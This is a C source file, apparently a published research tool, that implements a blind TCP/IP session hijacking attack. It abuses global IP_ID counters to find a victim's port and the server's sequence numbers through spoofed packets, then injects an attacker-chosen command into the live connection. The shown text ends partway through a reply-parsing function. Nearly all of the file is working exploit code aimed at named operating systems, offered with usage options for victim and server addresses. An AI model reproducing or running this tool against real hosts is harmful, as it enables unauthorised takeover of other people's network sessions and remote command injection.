/*
 * Blind TCP/IP hijacking is still alive!
 *
 * This tool implements a klm's attack against the weak implementation of IP_ID.
 * If IP_ID is implemented as a global counter, it is known to be vulnerable to
 * 'Idle Scan' attacks... but it is less known that it is also vulnerable to the
 * full blind TCP/IP hijacking attacks.
 *
 * This attack was successfully tested against:
 *  - Windows 2k
 *  - Windows XP <= SP2
 *  - FreeBSD 4.x
 *
 * The attack should work against any OS implementing IP_ID as a global counter.
 *
 * UPDATE: Windows 7 is also vulnerable to the modified version of this attack!
 *
 * More about the attack can be found here:
 *  -> http://blog.pi3.com.pl/?p=850
 *  -> http://phrack.org/issues/64/13.html
 *
 * Author: Adam 'pi3' Zabrocki
 * Date: 2008 (Updated in Dec 2020)
 * http://pi3.com.pl
 */

#include <arpa/inet.h>
#include <fcntl.h>
#include <getopt.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <linux/icmp.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>

#define ETH_P_IP     0x0800          /* Internet Protocol packet     */

/*
struct iphdr {
//#if defined(__LITTLE_ENDIAN_BITFIELD)
        __u8    ihl:4,
                version:4;
/*
#elif defined (__BIG_ENDIAN_BITFIELD)
        __u8    version:4,
                ihl:4;
#endif
*//*
        __u8    tos;
        __u16   tot_len;
        __u16   id;
        __u16   frag_off;
        __u8    ttl;
        __u8    protocol;
        __u16   check;
        __u32   saddr;
        __u32   daddr;
};
*/

struct pseudohdr {

   unsigned int s_addr;
   unsigned int d_addr;
   char zer0;
   unsigned char protocol;
   unsigned short length;

};

struct sock_filter      /* Filter block */
{
   unsigned short  code;   /* Actual filter code */
   unsigned char   jt;     /* Jump true */
   unsigned char   jf;     /* Jump false */
   unsigned long   k;      /* Generic multiuse field */
};

struct sock_fprog       /* Required for SO_ATTACH_FILTER. */
{
   unsigned short          len;    /* Number of filter blocks */
   struct sock_filter      *filter;
};

#define         BPF_LD          0x00
#define         BPF_H           0x08
#define         BPF_ABS         0x20
#define         BPF_JMP         0x05
#define         BPF_JEQ         0x10
#define         BPF_K           0x00
#define         BPF_W           0x00
#define         BPF_RET         0x06

#define BPF_STMT(code, k) { (u_short)(code), 0, 0, k }
#define BPF_JUMP(code, k, jt, jf) { (u_short)(code), jt, jf, k }

#define err_sys(x) \
do {               \
   printf("%s",x); \
   exit(-1);       \
} while(0)
#define   PI3_LEN      (64 - 8)        /* default data length */
#define   MAXTCPIP     41
#define   DF ((unsigned short)0x4000)     /* dont fragment */
#define   SA2 struct sockaddr
#define MAX_PADDING  1200   // ((65535/10))

int icmp_sock, id_sock_r, id_sock_w, sockfd, last_gora = 0xFFFFFFFF, last_dol = 0x0;
unsigned int global_ident = 777, client_port = 0, server_port = 0, id_server_port = 0x0, global_seq = 0/*4055289680*/, global_ack2 = 0, i_ilosc = 0;
unsigned int kupa = 0, syn = 0, fin = 0, rst = 0, ack = 0, psh = 0, urg = 0, seq_offset = 0xFFFF, licznik = 0, ilosc = 0x10001, opt = 0, g_ack = 0;
int mask_local_ip, mask_remote_ip;
char *packet,*local_ip=NULL,*remote_ip=NULL,*server_ip=NULL,*glob_cmd=NULL;
struct sockaddr_in local,remote,server;
char tablica[0x4] = { 0x5c, 0x7c, 0x2f, 0x2d };
unsigned int global_ack[0x2] = { 0x0, 0x3FFFFFFF };
struct timespec tv;
char glob_cmd2[MAX_PADDING];

void sigfunc(int signo);
unsigned short cksum(unsigned char *packet);
int sprawdz_czy_ipv4(char *arg);
int sprawdz_czy_liczba(char *arg);
void send_ping(void);
void send_spoof_syn(unsigned int s_seq, unsigned int a_ack, char option);
void usage(char *arg);
void przygotuj_ping_oraz_tcp(char *your, char *dest, char *cli, char opt);
u_short in_cksum(const u_short *addr, register int len, u_short csum);
unsigned short csum(unsigned short *ptr, int nbytes);
int receive_and_parse_ping_reply(void);
int find_client_port(void);
void send_and_get_ip_id(unsigned int *ip_id1, unsigned int *ip_id2, unsigned int s_seq, unsigned int a_ack, char option);
void send_id_syn(void);
int receive_and_parse_syn_reply(void);
int ip_to_hex_like_bpf(char *arg);
int find_server_window_sqn(void);
int find_real_server_sqn(void);


int main(int argc, char *argv[]) {

   unsigned int /*ip_id1,ip_id2,*/p_cnt,ret,verify_client_port = 0x0,p_cnt2;


   while ( (opt = getopt(argc,argv,"l:r:p:P:c:s:M:L:C:h?")) != -1) {

      switch(opt) {

       case 'l':

         if ( (sprawdz_czy_ipv4(optarg)) == -1)
            err_sys("[main]: Given argument is not a valid IP address - your_IP!\n");
         local_ip=strdup(optarg);
         mask_local_ip = ip_to_hex_like_bpf(local_ip);
         break;

       case 'r':

         if ( (sprawdz_czy_ipv4(optarg)) == -1)
            err_sys("[main]: Given argument is not a valid IP address - client_IP!\n");
         remote_ip=strdup(optarg);
         mask_remote_ip = ip_to_hex_like_bpf(remote_ip);
         break;

       case 'p':

         if (sprawdz_czy_liczba(optarg) == -1)
            err_sys("[main]: Given server's port is not a number!\n");
         server_port=atoi(optarg);
         break;

       case 'P':

         if (sprawdz_czy_liczba(optarg) == -1)
            err_sys("[main]: Given port is not a number!\n");
         id_server_port=atoi(optarg);
         break;

       case 'c':

         if (sprawdz_czy_liczba(optarg) == -1)
            err_sys("[main]: Given victim's port is not a number!\n");
         client_port=atoi(optarg);
         break;

       case 's':

         if ( (sprawdz_czy_ipv4(optarg)) == -1)
            err_sys("[main]: Given argument is not a valid IP address - server_IP!\n");
         server_ip=strdup(optarg);
         break;

       case 'M':

         if (sprawdz_czy_liczba(optarg) == -1)
            err_sys("[main]: Given SQN is not a number!\n");
         global_seq=strtoll(optarg,NULL,10);
         break;

       case 'L':

         if (sprawdz_czy_liczba(optarg) == -1)
            err_sys("[main]: Given ACK is not a number!\n");
         global_ack2=strtoll(optarg,NULL,10);
         break;

       case 'C':

         glob_cmd=strdup(optarg);
         break;

       case 'h':
       case '?':
       default:

         usage(argv[0]);
         break;
      }
   }

   if (!local_ip || !remote_ip || !server_ip || !client_port || !server_port || !glob_cmd)
      usage(argv[0]);

   signal(SIGHUP,sigfunc);
   signal(SIGINT,sigfunc);
   signal(SIGTERM,sigfunc);
   signal(SIGQUIT,sigfunc);

   setbuf(stdout,NULL);
/*
   for (p_cnt2 = 0x0; p_cnt2 < MAX_PADDING-2;) {
      *(glob_cmd2+p_cnt2++) = '\r';
      *(glob_cmd2+p_cnt2++) = '\n';
   }
*/
   memset(glob_cmd2,0x41,MAX_PADDING-1);
   glob_cmd2[MAX_PADDING-1] = 0x0;
   if (strlen(glob_cmd) > 240)
      err_sys("Bad command to inject!\n");
   glob_cmd2[MAX_PADDING-1-2-strlen(glob_cmd)-2] = '\r';
   glob_cmd2[MAX_PADDING-1-2-strlen(glob_cmd)-1] = '\n';
   memcpy(&glob_cmd2[MAX_PADDING-1-2-strlen(glob_cmd)],glob_cmd,strlen(glob_cmd));
   glob_cmd2[MAX_PADDING-1-2] = '\r';
   glob_cmd2[MAX_PADDING-1-1] = '\n';
   glob_cmd2[MAX_PADDING-1] = 0x0;
/*
   packet = &glob_cmd2[0];
   while ( (packet - &glob_cmd2[0]) + strlen(glob_cmd) + 2 < MAX_PADDING-1) {
      memcpy(packet,glob_cmd,strlen(glob_cmd));
      packet += strlen(glob_cmd);
      *packet++ = '\r';
      *packet++ = '\n';
   }
*/
//   memcpy(&glob_cmd2[MAX_PADDING-1-strlen(glob_cmd)],glob_cmd,strlen(glob_cmd));
//   memcpy(&glob_cmd2[0],glob_cmd,strlen(glob_cmd));
//   ip_id1 = ip_id2 = 0;
   przygotuj_ping_oraz_tcp(local_ip,server_ip,remote_ip,0);
   setbuf(stdout,NULL);
//   tv.tv_sec = 1;
//   tv.tv_nsec = 0;
//   tv.tv_nsec = 1000000;
   tv.tv_nsec = 100000000;
   syn = 1;
   fin=ack=rst=psh=urg=0;
   printf("\n\t\t...::: -=[ [d]evil_pi3 Blind TCP/IP Hijacker by Adam 'pi3' Zabrocki ]=- :::...\n");
f_port:
   do {
      printf("\n\t[+] Trying to find client's port\n");
      ret = find_client_port();
   } while(ret != 1);
   verify_client_port = client_port;
   printf("\n\t[+] Second level of verifcation\n");
   client_port -= 5;
   do {
      ret = find_client_port();
   } while(ret != 1);
   if (verify_client_port == client_port)
      printf("\n\t[!!] Port is found (%d)! Let's go further...\n\n",client_port);
   else {
      printf("\n\t[-] Second layer has different port than first... recalculating...\n");
      goto f_port;
   }
   if (id_server_port) {
      close(id_sock_r);
      close(id_sock_w);
   } else
      close(icmp_sock);
   close(sockfd);
   przygotuj_ping_oraz_tcp(local_ip,server_ip,remote_ip,1);
   opt = 0;
   printf("\t[+] Trying to find server's window SQN\n");
   find_server_window_sqn();
   printf("\t[+] Found server's window SQN => %u, with ACK => %u with seq_offset => %u\n",global_seq,global_ack[opt],seq_offset);
   printf("\t[+] Rechecking...\n");
   global_seq -= seq_offset*4;
   find_server_window_sqn();
   printf("\t[+] Found server's window SQN => %u, with ACK => %u with seq_offset => %u\n\n",global_seq,global_ack[opt],seq_offset);
   printf("\t[!!] SQN => %u, with seq_offset => %u\n\n",global_seq,seq_offset);
   printf("\t[+] Trying to find server's real SQN\n");
   find_real_server_sqn();
//   printf("\t[+] Found server's real SQN => %u, with ACK\n",global_seq,g_ack);
   printf("\t[+] Rechecking...\n");
   global_seq -= seq_offset*2;
   find_real_server_sqn();
   printf("\n\t[!!] Real server's SQN => %u\n\n",global_seq);


//   close(icmp_sock);
//   close(sockfd);
//   nanosleep(&tv,NULL);
//   nanosleep(&tv,NULL);

/* For old Windows ... */
/*
   printf("\t[+] Trying to find server's ACK\n");
   g_ack = 0xFFFFFFFF/2;
//   global_seq-=1;
   do {
        send_ping();
        ip_id1 = receive_and_parse_ping_reply();
        send_spoof_syn(global_seq,g_ack,1);
        nanosleep(&tv,NULL);
        send_ping();
        ip_id2 = receive_and_parse_ping_reply();
        if (ip_id2-ip_id1 != 1 && ip_id2-ip_id1 != 2) {
           printf("\t[?] Not enough\r");
           continue;
        } else
           printf("\t[%c] Not enough\r",tablica[licznik%4]);

       licznik++;
       if ((unsigned int)g_ack > (unsigned int)0xFFFFFFF0) {
          last_gora = 0xFFFFFFFF/2;
          last_dol=g_ack = 0;
       }

        if (ip_id2-ip_id1 == 1) {
           unsigned int tmp = last_gora-g_ack;

           tmp /= 2;
           last_dol = g_ack;
           g_ack += tmp;

        } else if (ip_id2-ip_id1 == 2) {
           unsigned int tmp = g_ack-last_dol;

           tmp /= 2;
           last_gora = g_ack;
           g_ack -= tmp;
        }
//           printf("\nSQN = %u, with ACK = %u\n",global_seq,g_ack);

   } while ((last_gora-last_dol)!=1);
   g_ack-=1;
   close(icmp_sock);
   close(sockfd);
   printf("\t[+] Found server's ACK => %u\n",g_ack);
   przygotuj_ping_oraz_tcp(local_ip,server_ip,remote_ip,0);
   close(icmp_sock);
*/


   psh = ack = 1;
   syn = fin=rst=urg=licznik=0;

//   for (p_cnt = 0x0, g_ack = global_ack2; p_cnt < 0xFFFFFFFF/MAX_PADDING; p_cnt++, g_ack += MAX_PADDING,licznik++) {
   for (p_cnt = 0x0, g_ack = global_ack2; p_cnt < 0x10001*2*2*2*2*2*2; p_cnt++, g_ack += 0xFFFF/2/2/2/2/2/2,licznik++) {
      printf("\t[%c] Trying to inject commnad\r",tablica[licznik%4]);
      send_spoof_syn(g_ack,global_seq,2);
   }

out:
   printf("\t[+] Finished! Check whether command was injected (should be :))\n");
/* For old Windows ... */
//   printf("\n\t[!] Next SQN [%u] and next ACK [%u]\n\n",global_seq+2+strlen(glob_cmd),g_ack+2+strlen(glob_cmd));
   printf("\n\t[!] Next SQN [%u]\n\n",global_seq+2+strlen(glob_cmd2));

   return 0;
}

void usage(char *arg) {

   printf("\n\t\t...::: -=[ [d]evil_pi3 Blind TCP/IP Hijacker by Adam 'pi3' Zabrocki ]=- :::...\n");
   printf("\n\tUsage: %s [options]\n",arg);
   printf("\n\t   Options:\n");
   printf("\t\t	-l	Your outgoing interface's IP address\n");
   printf("\t\t	-r	Victim's IP address\n");
   printf("\t\t	-s	Server's IP address\n");
   printf("\t\t	-p	Server's TCP port (to attack)\n");
   printf("\t\t	-P	Server's TCP port, which replies with any IP packet (ID scan).\n");
   printf("\t\t	  	If it is used, instead of sending ICMP packet for reading IP_ID\n");
   printf("\t\t	  	tool will send TCP SYN\n");
   printf("\t\t	-c	Start searching victim's TCP port from this number\n");
   printf("\t\t	-C	Command to execute\n");
   printf("\t\t	-M	Start searching SQN from this number\n");
   printf("\t\t	-L	Start searching ACK from this number\n");
   printf("\n");
   exit(-1);
}

void przygotuj_ping_oraz_tcp(char *your, char *dest, char *cli, char opt) {

   int one = 1;


   if (!id_server_port) {

      if ( (icmp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)
         err_sys("[przygotuj_ping]: socket() error - icmp_sock!\n");

      memset(&remote,0x0,sizeof(remote));
      memset(&local,0x0,sizeof(local));
      memset(&server,0x0,sizeof(server));
      local.sin_family      = AF_INET;
      server.sin_family     = AF_INET;
      remote.sin_family     = AF_INET;
      if ( (packet = (char *)malloc(sizeof(char)*(sizeof(struct iphdr)+sizeof(struct icmphdr)+PI3_LEN))) == NULL)
         err_sys("[przygotuj_ping]: malloc() error!\n");
      memset(packet,0x0,sizeof(char)*(sizeof(struct iphdr)+sizeof(struct icmphdr)+PI3_LEN));

      do {

         struct icmp_filter filt;
         filt.data = ~((1<<ICMP_SOURCE_QUENCH)|
                      (1<<ICMP_DEST_UNREACH)|
                      (1<<ICMP_TIME_EXCEEDED)|
                      (1<<ICMP_PARAMETERPROB)|
                      (1<<ICMP_REDIRECT)|
                      (1<<ICMP_ECHOREPLY));
         if (setsockopt(icmp_sock, SOL_RAW, ICMP_FILTER, (char*)&filt, sizeof(filt)) == -1)
            err_sys("[przygotuj_ping]: setsockopt(ICMP_FILTER)");
      } while(0);

   } else {

      struct sock_fprog bpfp;
      struct sock_filter insns[] = {
           { 0x28, 0, 0, 0x0000000c },
           { 0x15, 0, 12, 0x00000800 },
           { 0x20, 0, 0, 0x0000001a },
           { 0x15, 0, 10, mask_remote_ip },
           { 0x30, 0, 0, 0x00000017 },
           { 0x15, 2, 0, 0x00000084 },
           { 0x15, 1, 0, 0x00000006 },
           { 0x15, 0, 6, 0x00000011 },
           { 0x28, 0, 0, 0x00000014 },
           { 0x45, 4, 0, 0x00001fff },
           { 0xb1, 0, 0, 0x0000000e },
           { 0x48, 0, 0, 0x0000000e },
           { 0x15, 0, 1, id_server_port },
           { 0x6, 0, 0, 0x00000060 },
           { 0x6, 0, 0, 0x00000000 }
      };

      bpfp.len=15;
      bpfp.filter=insns;

      if ( (id_sock_r = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 0)
         err_sys("[przygotuj_ping]: socket() error - id_sock_r!\n");

      if ( (setsockopt(id_sock_r, SOL_SOCKET, SO_ATTACH_FILTER, &bpfp, sizeof(bpfp))) != 0)
         err_sys("[przygotuj_ping]: setsockopt() error - id_sock_r (BPF FILTERS)!\n");

      if ( (id_sock_w = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
         err_sys("[przygotuj_ping]: socket() error - id_sock_w!\n");

      if (setsockopt(id_sock_w,IPPROTO_IP,IP_HDRINCL,&one,sizeof(one)) < 0)
         err_sys("[przygotuj_ping]: setsockopt() error - id_sock_w!\n");

   }

   if (!(inet_aton(your,&local.sin_addr)))
      err_sys("[przygotuj_ping]: inet_aton() error - your!\n");
   if (opt==1)
      if (!(inet_aton(dest,&remote.sin_addr)))
         err_sys("[przygotuj_ping]: inet_aton() error - dest!\n");
      if (!(inet_aton(cli,&server.sin_addr)))
         err_sys("[przygotuj_ping]: inet_aton() error - your!\n");
   else {
      if (!(inet_aton(dest,&server.sin_addr)))
         err_sys("[przygotuj_ping]: inet_aton() error - dest!\n");
      if (!(inet_aton(cli,&remote.sin_addr)))
         err_sys("[przygotuj_ping]: inet_aton() error - your!\n");
   }

   if ( (sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
      err_sys("[przygotuj_ping]: socket() error - sockfd!\n");
   if (setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&one,sizeof(one)) < 0)
      err_sys("[przygotuj_ping]: setsockopt() error - sockfd!\n");

}

void send_ping(void) {

   struct icmphdr *icp;
   static struct {
      struct cmsghdr cm;
      struct in_pktinfo ipi;
   } cmsg = { 
      { sizeof(struct cmsghdr) + sizeof(struct in_pktinfo), SOL_IP, IP_PKTINFO },
      { 0, }
   };

   icp = (struct icmphdr *)packet;
   icp->type = ICMP_ECHO;
   icp->code = 0;
   icp->checksum = 0;
   icp->un.echo.sequence = htons(666);
   icp->un.echo.id = global_ident;

   /* compute ICMP checksum here */
   icp->checksum = in_cksum((u_short *)icp, PI3_LEN+8, 0);

   do {
      struct iovec iov = { packet, 0 };
      struct msghdr m = { &remote, sizeof(remote), &iov, 1, &cmsg, 0, 0 };

      m.msg_controllen = sizeof(cmsg);
      iov.iov_len = PI3_LEN+8;

      if ( (sendmsg(icmp_sock, &m, 0)) == -1)
         err_sys("[send_ping]: sendmsg()!\n");
   } while (0);
}

int receive_and_parse_ping_reply(void) {

   char addrbuf[128];
   char ans_data[4096];
   char *buf;
   struct iovec iov;
   struct msghdr msg;
   struct timeval *recv_timep = NULL;
   struct timeval recv_time;
   struct iphdr *ip;
   int ret;

   iov.iov_base = (char *)packet;
   iov.iov_len = sizeof(char)*(sizeof(struct iphdr)+sizeof(struct icmphdr)+PI3_LEN);
   msg.msg_name = addrbuf;
   msg.msg_namelen = sizeof(addrbuf);
   msg.msg_iov = &iov;
   msg.msg_iovlen = 1;
   msg.msg_control = ans_data;
   msg.msg_controllen = sizeof(ans_data);

   if ( (ret = recvmsg(icmp_sock, &msg, 0)) == -1)
      err_sys("[recive_and_parse_ping_reply]: recvmsg()!\n");

   ip = (struct iphdr *) msg.msg_iov->iov_base;

   return ntohs(ip->id);

}

void send_spoof_syn(unsigned int s_seq, unsigned int a_ack, char option) {

   char size[MAXTCPIP + strlen(glob_cmd2) + 0x2 /* for \r\n */];
   struct iphdr *ip;
   struct tcphdr *tcp;
   struct pseudohdr *psuedo = (struct pseudohdr *) (size + sizeof(struct iphdr) - sizeof(struct pseudohdr));
   short p_tmp = (option==2) ? strlen(glob_cmd2) + 0x2 : 0;
   short p_tot_len = sizeof(struct iphdr)+sizeof(struct tcphdr) + p_tmp;
/*
   static struct {
      struct cmsghdr cm;
      struct in_pktinfo ipi;
   } cmsg = {
      { sizeof(struct cmsghdr) + sizeof(struct in_pktinfo), SOL_IP, IP_PKTINFO },
      { 0, }
   };
*/

   memset(size,0x0,sizeof(size));
   if (option==1) {
      server.sin_port          = htons(client_port);
      remote.sin_port          = htons(server_port);
   } else {
      server.sin_port          = htons(server_port);
      remote.sin_port          = htons(client_port);
   }

   ip  = (struct iphdr*) size;
   tcp = (struct tcphdr*) (size + sizeof(struct iphdr));

   psuedo->protocol = IPPROTO_TCP;
   if (option==2)
      psuedo->length = htons(sizeof(struct tcphdr)+0x2+strlen(glob_cmd2));
   else
      psuedo->length = htons(sizeof(struct tcphdr));
   if (option==1) {
      psuedo->s_addr = server.sin_addr.s_addr;
      psuedo->d_addr = remote.sin_addr.s_addr;
   } else {
      psuedo->s_addr = remote.sin_addr.s_addr;
      psuedo->d_addr = server.sin_addr.s_addr;
   }

   tcp->source=remote.sin_port;
   tcp->dest=server.sin_port;
   tcp->source=remote.sin_port;
   tcp->dest=server.sin_port;
   tcp->seq=htonl(s_seq);
   tcp->ack_seq=htonl(a_ack);
   tcp->fin=fin;
   tcp->syn=syn;
   tcp->rst=rst;
   tcp->psh=psh;
   tcp->ack=ack;
   tcp->urg=urg;
   tcp->doff=sizeof(struct tcphdr)>>2;
   tcp->window=htons(5840);
   tcp->check=0;
   if (option==2) {
      memcpy(size+sizeof(struct iphdr)+sizeof(struct tcphdr)/*+2*/,glob_cmd2,strlen(glob_cmd2));
      memcpy(size+sizeof(struct iphdr)+sizeof(struct tcphdr)/*+2*/+strlen(glob_cmd2),"\r\n",0x2);
      tcp->check = in_cksum((unsigned short *)psuedo, sizeof(struct tcphdr) + sizeof(struct pseudohdr)/* + 0x2*/ + strlen(glob_cmd2) + 0x2, 0);

   } else
      tcp->check = in_cksum((unsigned short *)psuedo, sizeof(struct tcphdr) + sizeof(struct pseudohdr), 0);

   memset(size,0x0,sizeof(struct iphdr));
   ip->version=4;
   ip->ihl=sizeof(struct iphdr)>>2;
   ip->tos = 0x0;
   ip->tot_len=htons(p_tot_len);
   ip->id=0;
   ip->ttl=64;
   ip->protocol=IPPROTO_TCP;
   if (option==1) {
      ip->daddr=remote.sin_addr.s_addr;
      ip->saddr=server.sin_addr.s_addr;
   } else {
      ip->saddr=remote.sin_addr.s_addr;
      ip->daddr=server.sin_addr.s_addr;
   }

   do {
      struct iovec iov = { size, 0 };
//      struct msghdr m2 = { &/*local*/remote/*server*/, sizeof(/*local*/remote/*server*/), &iov, 1, &cmsg, 0, 0 };
//      struct msghdr m = { &server, sizeof(server), &iov, 1, &cmsg, 0, 0 };

//      m.msg_controllen = sizeof(cmsg);
      if (option==2)
         iov.iov_len = sizeof(struct iphdr) + sizeof(struct tcphdr) /*+ 0x2*/ + strlen(glob_cmd2) + 0x2;
      else
         iov.iov_len = MAXTCPIP-1;

      if (option==1) {
/*
         if ( (sendmsg(sockfd, &m2, 0)) == -1)
            err_sys("[send_spoof_syn]: sendmsg()!\n");
*/
         if (sendto (sockfd, size, p_tot_len ,  0, (struct sockaddr *) &remote, sizeof (remote)) < 0)
            err_sys("[send_spoof_syn]: sendto()!\n");
      } else {
/*
         if ( (sendmsg(sockfd, &m, 0)) == -1)
            err_sys("[send_spoof_syn]: sendmsg()!\n");
*/
         if (sendto (sockfd, size, p_tot_len, 0, (struct sockaddr *) &server, sizeof (server)) < 0)
            err_sys("[send_spoof_syn]: sendto()!\n");
      }
   } while (0);

}

int sprawdz_czy_liczba(char *arg) {

   unsigned int i;

   for (i=0;i<strlen(arg);i++)
      if ( *(arg+i) < 48 || *(arg+i) > 57 )
         return -1;

   return 1;
}

int sprawdz_czy_ipv4(char *arg) {

   unsigned int i,a1,a2,a3,a4;
   char *tmp1,*tmp2,*tmp3,*tmp4;

   tmp1=strdup(arg);
   for(a1=i=0;i<strlen(arg);i++)
     (arg[i]=='.') ? a1++ : 1;

   if (a1!=3)
     return -1;

   tmp2=strchr(tmp1,'.');
   tmp2++;
   tmp3=strchr(tmp2,'.');
   tmp3++;
   tmp4=strchr(tmp3,'.');
   tmp4++;
   for(i=0;i<strlen(tmp1);i++)
     (tmp1[i]=='.') ? tmp1[i]=0 : 1;
   for(i=0;i<strlen(tmp2);i++)
     (tmp2[i]=='.') ? tmp2[i]=0 : 1;
   for(i=0;i<strlen(tmp3);i++)
     (tmp3[i]=='.') ? tmp3[i]=0 : 1;
   for(i=0;i<strlen(tmp4);i++)
     (tmp4[i]=='.') ? tmp4[i]=0 : 1;

   if ( (sprawdz_czy_liczba(tmp1)) == -1)
      return -1;
   if ( (sprawdz_czy_liczba(tmp2)) == -1)
      return -1;
   if ( (sprawdz_czy_liczba(tmp3)) == -1)
      return -1;
   if ( (sprawdz_czy_liczba(tmp4)) == -1)
      return -1;

   a1=atoi(tmp1);
   a2=atoi(tmp2);
   a3=atoi(tmp3);
   a4=atoi(tmp4);

   if ( (a1 > 254 || a1 == 0) || (a2 > 254) || (a3 > 254) || (a4 > 255) )
      return -1;

   free(tmp1);
   return 1;
}

void sigfunc(int signo) {

   char signal[8];

   bzero(signal,sizeof(signal));

   switch (signo) {

    case 1:

      strcpy(signal,"HUP\0");
      break;

    case 2:

      strcpy(signal,"INT\0");
      break;

    case 3:

      strcpy(signal,"QUIT\0");
      break;

    case 15:

      strcpy(signal,"TERM\0");
      break;

    default:

      strcpy(signal,"???\0");
      break;

   }
   fprintf(stderr,"\nSignal SIG%s(%d), exiting...\n",signal,signo);
   exit(-1);
}

unsigned short cksum(unsigned char *packet) {

   unsigned int sum = 20 + 6; /* TCP len + proto(6) */
   unsigned char i;
   unsigned char *p = packet + 20;

   for (i = 0; i < 10; i++) {
      sum += (*p << 8) + *(p+1);
      p += 2;
   }

   p = packet + 12;

   for (i = 0; i < 4; i++) {
      sum += (*p << 8) + *(p+1);
      p += 2;
   }

   sum = ~(sum + (sum >> 16));

   return ((sum&0xFF00)>>8)|((sum&0x00FF)<<8);  /*   reverse bit's ;-)   */
}

u_short in_cksum(const u_short *addr, register int len, u_short csum) {

   register int nleft = len;
   const u_short *w = addr;
   register u_short answer;
   register int sum = csum;

   /*
    *  Our algorithm is simple, using a 32 bit accumulator (sum),
    *  we add sequential 16 bit words to it, and at the end, fold
    *  back all the carry bits from the top 16 bits into the lower
    *  16 bits.
    */
   while (nleft > 1)  {
      sum += *w++;
      nleft -= 2;
   }

   /* mop up an odd byte, if necessary */
   if (nleft == 1)
      sum += htons(*(u_char *)w << 8);

   /*
    * add back carry outs from top 16 bits to low 16 bits
    */
   sum = (sum >> 16) + (sum & 0xffff);     /* add hi 16 to low 16 */
   sum += (sum >> 16);                     /* add carry */
   answer = ~sum;                          /* truncate to 16 bits */
   return (answer);
}


int find_client_port(void) {

   unsigned int ip_id1, ip_id2;
   unsigned int i, verify;
   int ret;

   ip_id1 = ip_id2 = 0x0;
   do {

      send_and_get_ip_id(&ip_id1,&ip_id2,0x1234,0x5678,0);
      if (ip_id2-ip_id1 != 1 && ip_id2-ip_id1 != 2) {
         printf("\t[?] Not enough\r");
         continue;
      } else
         printf("\t[%c] Not enough\r",tablica[licznik%4]);
      licznik++;
      client_port++;

   } while (ip_id2-ip_id1 != 1);
   client_port--;
   printf("\t[+] Found port => %u!\n",client_port);
   printf("\t[?] Veryfication... \r");
   for (verify = i = 0 ; i < 3; i++) {
      send_and_get_ip_id(&ip_id1,&ip_id2,0x1234,0x5678,0);
      if (ip_id2-ip_id1 == 1)
         verify++;
   }
   if (verify >= 2) {
      printf("\t[+] Veryfing... OK! :)\n");
      ret = 1;
   } else {
      printf("\t[+] Veryfing... FAILED! :(\n");
      ret = 0x0;
   }

   return ret;
}

void send_and_get_ip_id(unsigned int *ip_id1, unsigned int *ip_id2, unsigned int p_seq, unsigned int p_ack, char p_opt) {

   /* Get ip_id BEFORE sending spoofed packet */
   if (id_server_port) {
      send_id_syn();
      *ip_id1 = receive_and_parse_syn_reply();
   } else {
      send_ping();
      *ip_id1 =  receive_and_parse_ping_reply();
   }

   /* Send spoofed packet */
   send_spoof_syn(p_seq,p_ack,p_opt);
//sleep(2);
   nanosleep(&tv,NULL);
//exit(-1);
   /* Get ip_id AFTER sending spoofed packet */
   if (id_server_port) {
      send_id_syn();
      *ip_id2 = receive_and_parse_syn_reply();
   } else {
      send_ping();
      *ip_id2 =  receive_and_parse_ping_reply();
   }

#if DEBUG
   printf("id1[%u] id2[%u] => %u [%u]\n",*ip_id1,*ip_id2,*ip_id2-*ip_id1,client_port);
#endif
//exit(-1);
}


void send_id_syn(void) {

   char size[MAXTCPIP];
   struct iphdr *ip;
   struct tcphdr *tcp;
   struct pseudohdr *psuedo = (struct pseudohdr *) (size + sizeof(struct iphdr) - sizeof(struct pseudohdr));

   static struct {
      struct cmsghdr cm;
      struct in_pktinfo ipi;
   } cmsg = {
      { sizeof(struct cmsghdr) + sizeof(struct in_pktinfo), SOL_IP, IP_PKTINFO },
      { 0, }
   };

   memset(size,0x0,sizeof(size));
   local.sin_port           = htons(3000 + (rand()%2000));
   remote.sin_port          = htons(id_server_port);

   ip  = (struct iphdr*) size;
   tcp = (struct tcphdr*) (size + sizeof(struct iphdr));

   psuedo->protocol = IPPROTO_TCP;
   psuedo->length = htons(sizeof(struct tcphdr));
   psuedo->s_addr = local.sin_addr.s_addr;
   psuedo->d_addr = remote.sin_addr.s_addr;


   tcp->source=local.sin_port;
   tcp->dest=remote.sin_port;
   tcp->seq=htonl(0x1234);
   tcp->ack_seq=htonl(0x5678);
   tcp->fin=0;
   tcp->syn=1;
   tcp->rst=0;
   tcp->psh=0;
   tcp->ack=0;
   tcp->urg=0;
   tcp->doff=sizeof(struct tcphdr)>>2;
   tcp->window=htons(666);
   tcp->check=0;
   tcp->check = in_cksum((unsigned short *)psuedo, sizeof(struct tcphdr) + sizeof(struct pseudohdr), 0);

   memset(size,0x0,sizeof(struct iphdr));
   ip->version=4;
   ip->ihl=sizeof(struct iphdr)>>2;
   ip->tos = 0x0;
   ip->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
   ip->id=0;
   ip->ttl=64;
   ip->protocol=IPPROTO_TCP;
   ip->saddr=local.sin_addr.s_addr;
   ip->daddr=remote.sin_addr.s_addr;
   ip->check = 0;

   do {
      struct iovec iov = { size, 0 };
      struct msghdr m = { &remote, sizeof(remote), &iov, 1, &cmsg, 0, 0 };

      m.msg_controllen = sizeof(cmsg);
      iov.iov_len = MAXTCPIP-1;

//      if (option==1) {
//         if ( (sendmsg(sockfd, &m2, 0)) == -1)
//            err_sys("[send_spoof_syn]: sendmsg()!\n");
//      } else
         if ( (sendmsg(id_sock_w, &m, 0)) == -1)
            err_sys("[send_spoof_syn]: sendmsg()!\n");

   } while (0);

}

int receive_and_parse_syn_reply(void) {

   char ans_data[4096];
   char buf_tmp[MAXTCPIP*2+1];
   struct iovec iov;
   struct msghdr msg;
   struct iphdr *ip;
   int ret,i;

   iov.iov_base = (char *)buf_tmp;
   iov.iov_len = MAXTCPIP-1+14;
   msg.msg_name = (void *) NULL;
   msg.msg_namelen = 0;
